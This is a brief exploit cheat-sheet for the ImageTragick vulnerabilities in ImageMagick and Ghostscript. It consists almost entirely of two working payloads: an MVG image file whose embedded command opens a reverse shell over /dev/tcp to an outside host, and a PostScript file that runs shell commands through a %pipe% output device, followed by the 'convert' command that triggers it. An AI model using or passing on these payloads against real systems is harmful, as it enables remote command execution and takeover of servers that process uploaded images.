Image Tragik 1 & 2

Exploit v1

Simple reverse shell

push graphic-context
encoding "UTF-8"
viewbox 0 0 1 1
affine 1 0 0 1 0 0
push graphic-context
image Over 0,0 1,1 '|/bin/sh -i > /dev/tcp/ip/80 0<&1 2>&1'
pop graphic-context
pop graphic-context

Exploit v2

Simple id payload

%!PS
userdict /setpagedevice undef
save
legal
{ null restore } stopped { pop } if
{ legal } stopped { pop } if
restore
mark /OutputFile (%pipe%id) currentdevice putdeviceprops

then use convert shellexec.jpeg whatever.gif

Thanks to

• openwall.com/lists/oss-security/2018/08/21/2 by Tavis Ormandy

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Last update: August 28, 2019